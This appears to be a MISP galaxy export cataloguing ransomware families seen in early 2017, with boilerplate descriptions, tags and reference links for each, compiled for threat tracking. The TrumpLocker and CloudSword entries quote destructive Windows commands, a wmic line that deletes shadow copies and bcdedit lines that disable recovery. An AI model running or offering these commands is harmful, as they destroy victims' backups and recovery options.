https://id-ransomware.blogspot.co.il/2017/03/cryptomeister-ransomware.html

GG Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office,

Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016

The tag is: *misp-galaxy:ransomware="GG Ransomware"*

Table 2906. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/gg-ransomware.html

Project34 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Project34 Ransomware"*

Table 2907. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/project34-ransomware.html

PetrWrap Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PetrWrap Ransomware"*

Table 2908. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/petrwrap-ransomware.html
https://www.bleepingcomputer.com/news/security/petrwrap-ransomware-is-a-petya-offspring-used-in-targeted-attacks/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/

Karmen Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office,

Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear

The tag is: *misp-galaxy:ransomware="Karmen Ransomware"*

Table 2909. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://id-ransomware.blogspot.co.il/2017/03/karmen-ransomware.html
https://twitter.com/malwrhunterteam/status/841747002438361089

Revenge Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant

The tag is: *misp-galaxy:ransomware="Revenge Ransomware"*

Table 2910. Table References

Links
https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/
https://id-ransomware.blogspot.co.il/2017/03/revenge-ransomware.html

Turkish FileEncryptor Ransomware

his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Turkish FileEncryptor Ransomware"*

Turkish FileEncryptor Ransomware is also known as:

- Fake CTB-Locker

Table 2911. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/turkish-fileencryptor.html
https://twitter.com/JakubKroustek/status/842034887397908480

Kirk Ransomware & Spock Decryptor

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Payments in Monero

The tag is: *misp-galaxy:ransomware="Kirk Ransomware & Spock Decryptor"*

Table 2912. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://www.bleepingcomputer.com/forums/t/642239/kirk-ransomware-help-support-topic-kirk-extension-ransom-notetxt/
http://www.networkworld.com/article/3182415/security/star-trek-themed-kirk-ransomware-has-spock-decryptor-demands-ransom-be-paid-in-monero.html
http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges
https://www.grahamcluley.com/kirk-ransomware-sports-star-trek-themed-decryptor-little-known-crypto-currency/
https://www.virustotal.com/en/file/39a2201a88f10d81b220c973737f0becedab2e73426ab9923880fb0fb990c5cc/analysis/

ZinoCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ZinoCrypt Ransomware"*

Table 2913. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html
https://twitter.com/demonslay335?lang=en
https://twitter.com/malwrhunterteam/status/842781575410597894

Crptxxx Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office,

Open Office, pictures, videos, shared online files etc.. Uses @enigma0x3's UAC bypass

The tag is: *misp-galaxy:ransomware="Crptxxx Ransomware"*

Table 2914. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/crptxxx-ransomware.html
https://www.bleepingcomputer.com/forums/t/609690/ultracrypter-cryptxxx-ultradecrypter-ransomware-help-topic-crypt-cryp1/page-84
http://www.fixinfectedpc.com/uninstall-crptxxx-ransomware-from-pc
https://twitter.com/malwrhunterteam/status/839467168760725508

MOTD Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="MOTD Ransomware"*

Table 2915. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html
https://www.bleepingcomputer.com/forums/t/642409/motd-of-ransome-hostage/
https://www.bleepingcomputer.com/forums/t/642409/motd-ransomware-help-support-topics-motdtxt-and-enc-extension/

CryptoDevil Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoDevil Ransomware"*

Table 2916. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html
https://twitter.com/PolarToffee/status/843527738774507522

FabSysCrypto Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="FabSysCrypto Ransomware"*

Table 2917. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html
https://twitter.com/struppigel/status/837565766073475072

Lock2017 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Lock2017 Ransomware"*

Table 2918. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html

RedAnts Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RedAnts Ransomware"*

Table 2919. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html

ConsoleApplication1 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office,

Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ConsoleApplication1 Ransomware"*

Table 2920. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html

KRider Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="KRider Ransomware"*

Table 2921. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html
https://twitter.com/malwrhunterteam/status/836995570384453632

CYR-Locker Ransomware (FAKE)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEFg2AXG-gCLcB/s1600/failed-key.jpg

The tag is: *misp-galaxy:ransomware="CYR-Locker Ransomware (FAKE)"*

Table 2922. Table References

Links
https://id-ransomware.blogspot.co.il/search?updated-min=2017-01-01T00:00:00-08:00&updated-max=2018-01-01T00:00:00-08:00&max-results=50

DotRansomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DotRansomware"*

Table 2923. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dotransomware.html

Unlock26 Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments.All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Unlock26 Ransomware"*

Table 2924. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/unlock26-ransomware.html
https://www.bleepingcomputer.com/news/security/new-raas-portal-preparing-to-spread-unlock26-ransomware/

PicklesRansomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware

The tag is: *misp-galaxy:ransomware="PicklesRansomware"*

Table 2925. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/pickles-ransomware.html
https://twitter.com/JakubKroustek/status/834821166116327425

Vanguard Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses at MSOffice to fool users into opening the infected file. GO Ransomware

The tag is: *misp-galaxy:ransomware="Vanguard Ransomware"*

Table 2926. Table References

Links

https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html
https://twitter.com/JAMESWT_MHT/status/834783231476166657

PyL33T Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PyL33T Ransomware"*

Table 2927. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html
https://twitter.com/Jan0fficial/status/834706668466405377

TrumpLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disquise .To delete shadow files use the following commend: C:\Windows\system32\wbem\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKl7_Iwr1agYtlVO3HXaUrwitcowp5_NQCLcB/s1600/lock.jpg

The tag is: *misp-galaxy:ransomware="TrumpLocker Ransomware"*

Table 2928. Table References

Links
https://www.bleepingcomputer.com/news/security/new-trump-locker-ransomware-is-a-fraud-just-venuslocker-in-disguise/
https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-24th-2017-trump-locker-macos-rw-and-cryptomix/

Damage Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Written in Delphi

The tag is: *misp-galaxy:ransomware="Damage Ransomware"*

Table 2929. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html
https://decrypter.emsisoft.com/damage
https://twitter.com/demonslay335/status/835664067843014656

XYZWare Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="XYZWare Ransomware"*

Table 2930. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html
https://twitter.com/malwrhunterteam/status/833636006721122304

YouAreFucked Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="YouAreFucked Ransomware"*

Table 2931. Table References

Links
https://www.enigmasoftware.com/youarefuckedransomware-removal/

CryptConsole 2.0 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptConsole 2.0 Ransomware"*

Table 2932. Table References

Links

https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

BarRax Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="BarRax Ransomware"*

BarRax Ransomware is also known as:

- BarRaxCrypt Ransomware

Table 2933. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html
https://twitter.com/demonslay335/status/835668540367777792

CryptoLocker by NTK Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoLocker by NTK Ransomware"*

Table 2934. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html

UserFilesLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="UserFilesLocker Ransomware"*

UserFilesLocker Ransomware is also known as:

- CzechoSlovak Ransomware

Table 2935. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html

AvastVirusinfo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. PAYING RANSOM IS USELESS, YOUR FILES WILL NOT BE FIXED. THE DAMAGE IS PERMENENT!!!!

The tag is: *misp-galaxy:ransomware="AvastVirusinfo Ransomware"*

Table 2936. Table References

Links
https://id-ransomware.blogspot.co.il/2017_03_01_archive.html
https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html

SuchSecurity Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="SuchSecurity Ransomware"*

Table 2937. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/suchsecurity-ransomware.html

PleaseRead Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PleaseRead Ransomware"*

PleaseRead Ransomware is also known as:

- VHDLocker Ransomware

Table 2938. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/vhd-ransomware.html

Kasiski Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kasiski Ransomware"*

Table 2939. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/kasiski-ransomware.html
https://twitter.com/MarceloRivero/status/832302976744173570
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/

Fake Locky Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Fake Locky Ransomware"*

Fake Locky Ransomware is also known as:

- Locky Impersonator Ransomware

Table 2940. Table References

Links
https://www.bleepingcomputer.com/news/security/the-locky-ransomware-encrypts-local-files-and-unmapped-network-shares/
https://id-ransomware.blogspot.co.il/2017/02/locky-impersonator.html
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-thor-extension-after-being-a-bad-malware/

CryptoShield 1.0 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoShield 1.0 is a ransomware from the CryptoMix family.

The tag is: *misp-galaxy:ransomware="CryptoShield 1.0 Ransomware"*

Table 2941. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptoshield-2-ransomware.html
https://www.bleepingcomputer.com/news/security/cryptomix-variant-named-cryptoshield-1-0-ransomware-distributed-by-exploit-kits/

Hermes Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Filemarker: "HERMES"

The tag is: *misp-galaxy:ransomware="Hermes Ransomware"*

Hermes Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Hermes Ransomware" with estimative-language:likelihood-probability="likely"

Table 2942. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/hermes-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/
https://www.bleepingcomputer.com/forums/t/642019/hermes-ransomware-help-support-decrypt-informationhtml/
https://www.bleepingcomputer.com/news/security/hermes-ransomware-decrypted-in-live-video-by-emsisofts-fabian-wosar/

LoveLock Ransomware or Love2Lock Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="LoveLock Ransomware or Love2Lock Ransomware"*

Table 2943. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html

Wcry Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Wcry Ransomware"*

Table 2944. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html

DUMB Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DUMB Ransomware"*

Table 2945. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html
https://twitter.com/bleepincomputer/status/816053140147597312?lang=en

X-Files

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="X-Files"*

Table 2946. Table References

Links
https://id-ransomware.blogspot.co.il/2017_02_01_archive.html
https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html

Polski Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The Ransom is 249$ and the hacker demands that the victim gets in contact through e-mail and a Polish messenger called Gadu-Gadu.

The tag is: *misp-galaxy:ransomware="Polski Ransomware"*

Table 2947. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html

YourRansom Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This hacker demands that the victim contacts him through email and decrypts the files for FREE.(moreinfo in the link below)

The tag is: *misp-galaxy:ransomware="YourRansom Ransomware"*

Table 2948. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html
https://www.bleepingcomputer.com/news/security/yourransom-is-the-latest-in-a-long-line-of-prank-and-educational-ransomware/
https://twitter.com/_ddoxer/status/827555507741274113

Ranion RaasRansomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ranion Raas gives the opportunity to regular people to buy and distribute ransomware for a very cheap price. (More info in the link below). RaaS service

The tag is: *misp-galaxy:ransomware="Ranion RaasRansomware"*

Table 2949. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html
https://www.bleepingcomputer.com/news/security/ranion-ransomware-as-a-service-available-on-the-dark-web-for-educational-purposes/

Potato Ransomware

Wants a ransom to get the victim’s files back . Originated in English. Spread worldwide.

The tag is: *misp-galaxy:ransomware="Potato Ransomware"*

Table 2950. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html

of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)

This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: *misp-galaxy:ransomware="of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)"*

Table 2951. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html

RansomPlus

Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: *misp-galaxy:ransomware="RansomPlus"*

Table 2952. Table References

Links
http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html
https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html
https://twitter.com/jiriatvirlab/status/825411602535088129

CryptConsole

This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files

The tag is: *misp-galaxy:ransomware="CryptConsole"*

Table 2953. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html
https://www.bleepingcomputer.com/forums/t/638344/cryptconsole-uncrypteoutlookcom-support-topic-how-decrypt-fileshta/
https://twitter.com/PolarToffee/status/824705553201057794

https://twitter.com/demonslay335/status/1004351990493741057
https://twitter.com/demonslay335/status/1004803373747572736

ZXZ Ramsomware

Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A

The tag is: *misp-galaxy:ransomware="ZXZ Ramsomware"*

Table 2954. Table References

Links
https://www.bleepingcomputer.com/forums/t/638191/zxz-ransomware-support-help-topic-zxz/?hl=%2Bzxz#entry4168310
https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html

VxLock Ransomware

Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF… etc

The tag is: *misp-galaxy:ransomware="VxLock Ransomware"*

Table 2955. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/vxlock-ransomware.html

FunFact Ransomware

Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amout of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.

The tag is: *misp-galaxy:ransomware="FunFact Ransomware"*

Table 2956. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/funfact.html
http://www.enigmasoftware.com/funfactransomware-removal/

ZekwaCrypt Ransomware

First spotted in May 2016, however made a big comeback in January 2017. It's directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: *misp-galaxy:ransomware="ZekwaCrypt Ransomware"*

Table 2957. Table References

Links
https://id-ransomware.blogspot.co.il/2016/06/zekwacrypt-ransomware.html
http://www.2-spyware.com/remove-zekwacrypt-ransomware-virus.html

Sage 2.0 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker

The tag is: *misp-galaxy:ransomware="Sage 2.0 Ransomware"*

Table 2958. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/sage-2-ransomware.html
https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/
http://www.securityweek.com/sage-20-ransomware-demands-2000-ransom
https://www.bleepingcomputer.com/news/security/sage-2-0-ransomware-gearing-up-for-possible-greater-distribution/
https://www.govcert.admin.ch/blog/27/sage-2.0-comes-with-ip-generation-algorithm-ipga

CloudSword Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Window Update” to confuse its victims. Then imitates the window update process , while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands: bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

The tag is: *misp-galaxy:ransomware="CloudSword Ransomware"*

Table 2959. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cloudsword.html
http://bestsecuritysearch.com/cloudsword-ransomware-virus-removal-steps-protection-updates/
https://twitter.com/BleepinComputer/status/822653335681593345

DN

It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Chrome Update” to confuse its victims. Then imitates the chrome update process ,while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!

The tag is: *misp-galaxy:ransomware="DN"*

DN is also known as:

- Fake

Table 2960. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html

GarryWeber Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc..

The tag is: *misp-galaxy:ransomware="GarryWeber Ransomware"*

Table 2961. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/garryweber.html

Satan Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS

The tag is: *misp-galaxy:ransomware="Satan Ransomware"*

Satan Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Satan Ransomware" with estimative-language:likelihood-probability="likely"

Table 2962. Table References

Links

https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html
https://www.bleepingcomputer.com/forums/t/637811/satan-ransomware-help-support-topic-stn-extension-help-decrypt-fileshtml/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-20th-2017-satan-raas-spora-locky-and-more/
https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/
https://twitter.com/Xylit0l/status/821757718885236740

Havoc

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures , videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Havoc"*

Havoc is also known as:

- HavocCrypt Ransomware

Table 2963. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/havoc-ransomware.html

CryptoSweetTooth Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Its fake name is Bitcoin and maker’s name is Santiago. Work of the encrypted requires the user to have .NET Framework 4.5.2. on his computer.

